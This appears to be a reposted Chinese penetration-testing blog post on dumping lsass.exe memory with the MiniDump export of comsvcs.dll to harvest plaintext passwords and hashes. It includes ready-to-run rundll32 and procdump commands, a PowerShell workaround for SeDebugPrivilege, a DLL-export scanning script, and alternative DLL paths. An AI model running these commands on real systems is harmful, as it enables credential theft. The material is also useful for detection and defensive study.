《MiniDumpWriteDump via COM+ Services DLL》的利用测试

发布于 2024-10-04 05:05:01 字数 8535 浏览 8 评论 0

0x00 前言

最近学习了 odzhan 文章中介绍的一个技巧,使用 C:\windows\system32\comsvcs.dll 的导出函数 MiniDump 能够 dump 指定进程的内存文件。

文章地址:https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/

本文将要结合自己的经验,补充在测试过程中需要注意的地方,扩展方法,分析利用思路。编写 powershell 脚本,实现自动化扫描系统目录下所有 dll 的导出函数,查看是否存在其他可用的 dll,介绍脚本实现的细节。

0x01 简介

本文将要介绍以下内容:

  • dump 指定进程内存文件的常用方法
  • 使用 comsvcs.dll 实现 dump 指定进程内存文件的方法
  • 编写脚本实现自动化扫描 dll 的导出函数
  • 利用分析

0x02 dump 指定进程内存文件的常用方法

在渗透测试中,最常用的方法是通过 dump 进程 lsass.exe,从中获得明文口令和 hash

在原理上都是使用 API MiniDumpWriteDump,参考资料:https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump

常用的实现方法如下:

1.procdump

参数如下:

procdump.exe -accepteula -ma lsass.exe lsass.dmp

2.c++实现

https://github.com/killswitch-GUI/minidump-lib

3.powershell 实现

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1

4.c#实现

https://github.com/GhostPack/SharpDump

0x03 使用 comsvcs.dll 实现 dump 指定进程内存文件的方法

odzhan 在文中给出了三种方法

1.通过 rundll32

示例参数如下:

rundll32 C:\windows\system32\comsvcs.dll, MiniDump 808 C:\test\lsass.dmp full

示例中 lsass.exe 的 pid 为 808

注:

此处需要注意权限的问题,在 dump 指定进程内存文件时,需要开启 SeDebugPrivilege 权限

管理员权限的 cmd 下,默认支持 SeDebugPrivilege 权限,但是状态为 Disabled,如下图

Alt text

所以说,直接在 cmd 下执行 rundll32 的命令尝试 dump 指定进程内存文件时,由于无法开启 SeDebugPrivilege 权限,所以会失败

这里给出我的一个解决方法:

管理员权限的 powershell 下,默认支持 SeDebugPrivilege 权限,并且状态为 Enabled,如下图

Alt text

所以,这里可以通过 powershell 执行 rundll32 的命令实现,示例命令如下:

powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 808 C:\test\lsass.dmp full"

2.通过 vbs 实现

原文提供了完整的实现代码

执行的参数如下:

cscript 1.vbs lsass.exe

vbs 脚本首先开启 SeDebugPrivilege 权限,接着执行 rundll32 的命令,测试成功

3.通过 c 实现

原文提供了完整的实现代码

代码先开启 SeDebugPrivilege 权限,再调用 comsvcs.dll 的导出函数 MiniDumpW,测试成功

0x04 编写脚本实现自动化扫描 dll 的导出函数

学习完 odzhan 的文章以后,我产生了一个疑问:

Windows 系统目录下是否存在其他可用的 dll?

于是,我尝试通过脚本对系统目录下所有 dll 的导出函数进行筛选,查看是否包含导出函数 MiniDumpW

脚本实现上需要考虑以下两个问题:

1.遍历指定目录,获取所有 dll

遍历路径 C:\windows 的测试代码如下:

ForEach($file in (Get-ChildItem -recurse -Filter "*.dll" -Path 'C:\windows'  -ErrorAction SilentlyContinue )) 
{
    $file.PSPath
}

由于存在多级目录,这里需要获得 dll 的绝对路径,而$file.PSPath 的格式为 Microsoft.PowerShell.Core\FileSystem::C:\windows\RtlExUpd.dll ,实际路径需要去除前缀

优化后的代码如下:

ForEach($file in (Get-ChildItem -recurse -Filter "*.dll" -Path 'C:\windows'  -ErrorAction SilentlyContinue )) 
{
    $file.PSPath.Substring($file.PSPath.IndexOf(":")+2)
}

2.获得指定 dll 的导出函数

这里可以参考 https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-Exports.ps1

在此基础上进行优化,实现整个流程的自动化处理

完整代码已上传至 GitHub,地址如下:https://github.com/3gstudent/Homework-of-Powershell/blob/master/Get-AllExports.ps1

对 C:\Windows 进行筛选的代码如下:

Import-Module ./Get-AllExports.ps1
$Path = 'C:\Windows'
ForEach($file in (Get-ChildItem -recurse -Filter "*.dll" -Path $Path  -ErrorAction SilentlyContinue )) 
{
#   $file.PSPath.Substring($file.PSPath.IndexOf(":")+2)
    Get-Exports -DllPath $file.PSPath.Substring($file.PSPath.IndexOf(":")+2)
}

测试系统:Win7x64

部分结果:

[+] C:\windows\system32\comsvcs.dll-->MiniDumpW
[+] C:\windows\system32\dbghelp.dll-->MiniDumpReadDumpStream
[+] C:\windows\system32\dbghelp.dll-->MiniDumpWriteDump
[+] C:\Windows\Syswow64\comsvcs.dll-->MiniDumpW
[+] C:\Windows\Syswow64\dbghelp.dll-->MiniDumpReadDumpStream
[+] C:\Windows\Syswow64\dbghelp.dll-->MiniDumpWriteDump
[+] C:\Windows\Microsoft.NET\Framework\v2.0.50727\SOS.dll-->MinidumpMode
[+] C:\Windows\Microsoft.NET\Framework\v2.0.50727\SOS.dll-->Minidumpmode
[+] C:\Windows\Microsoft.NET\Framework\v2.0.50727\SOS.dll-->minidumpmode
[+] C:\Windows\Microsoft.NET\Framework\v4.0.30319\SOS.dll-->MinidumpMode
[+] C:\Windows\Microsoft.NET\Framework\v4.0.30319\SOS.dll-->Minidumpmode
[+] C:\Windows\Microsoft.NET\Framework\v4.0.30319\SOS.dll-->minidumpmode
[+] C:\Windows\Microsoft.NET\Framework64\v2.0.50727\SOS.dll-->MinidumpMode
[+] C:\Windows\Microsoft.NET\Framework64\v2.0.50727\SOS.dll-->Minidumpmode
[+] C:\Windows\Microsoft.NET\Framework64\v2.0.50727\SOS.dll-->minidumpmode
[+] C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SOS.dll-->MinidumpMode
[+] C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SOS.dll-->Minidumpmode
[+] C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SOS.dll-->minidumpmode
[+] C:\Windows\winsxs\amd64_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_ceb756d4b98f01a4\comsvcs.dll-->MiniDumpW
[+] C:\Windows\winsxs\amd64_microsoft-windows-imageanalysis_31bf3856ad364e35_6.1.7601.17514_none_a6821d2940c2bcdc\dbghelp.dll-->MiniDumpReadDumpStream
[+] C:\Windows\winsxs\amd64_microsoft-windows-imageanalysis_31bf3856ad364e35_6.1.7601.17514_none_a6821d2940c2bcdc\dbghelp.dll-->MiniDumpWriteDump
[+] C:\Windows\winsxs\x86_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_7298bb510131906e\comsvcs.dll-->MiniDumpW
[+] C:\Windows\winsxs\x86_microsoft-windows-imageanalysis_31bf3856ad364e35_6.1.7601.17514_none_4a6381a588654ba6\dbghelp.dll-->MiniDumpReadDumpStream
[+] C:\Windows\winsxs\x86_microsoft-windows-imageanalysis_31bf3856ad364e35_6.1.7601.17514_none_4a6381a588654ba6\dbghelp.dll-->MiniDumpWriteDump

测试结果如下:

1.对于不同结构的进程,可用的 dll 不同

对于 32 位的进程,可以使用 32 位和 64 位的 dll:

  • C:\windows\system32\comsvcs.dll
  • C:\Windows\Syswow64\comsvcs.dll
  • C:\Windows\winsxs\amd64_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_ceb756d4b98f01a4\comsvcs.dll
  • C:\Windows\winsxs\x86_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_7298bb510131906e\comsvcs.dll

对于 64 位的进程,可以使用 64 位的 dll:

  • C:\windows\system32\comsvcs.dll
  • C:\Windows\winsxs\amd64_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_ceb756d4b98f01a4\comsvcs.dll

无法使用 32 位的 dll:

  • C:\Windows\Syswow64\comsvcs.dll
  • C:\Windows\winsxs\x86_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_7298bb510131906e\comsvcs.dll

2.dbghelp.dll 对应 API MiniDumpWriteDump

3.SOS.dll 中的导出函数 minidumpmode

用于防止在使用 minidump 时执行非安全命令。0 表示禁用这个功能,1 表示启用。默认为 0

0x05 利用分析

如果想要 dump 指定进程的内存文件,可以使用新的方法,示例命令如下:

powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 808 C:\test\lsass.dmp full"

其中 comsvcs.dll 可以替换为以下 dll:

  • C:\Windows\Syswow64\comsvcs.dll
  • C:\Windows\winsxs\amd64_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_ceb756d4b98f01a4\comsvcs.dll
  • C:\Windows\winsxs\x86_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_7298bb510131906e\comsvcs.dll

这种方法的优点是不需要上传文件,使用系统默认包含的 dll 就可以实现

0x06 小结

本文在 odzhan 文章的基础上,补充在测试过程中需要注意的地方,扩展方法,分析利用思路。编写 powershell 脚本,实现自动化扫描系统目录下所有 dll 的导出函数。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

一刻暧昧

暂无简介

0 文章
0 评论
22 人气
更多

推荐作者

懂王

文章 0 评论 0

清秋悲枫

文章 0 评论 0

niceone-tech

文章 0 评论 0

小伙你站住

文章 0 评论 0

刘涛

文章 0 评论 0

南街九尾狐

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文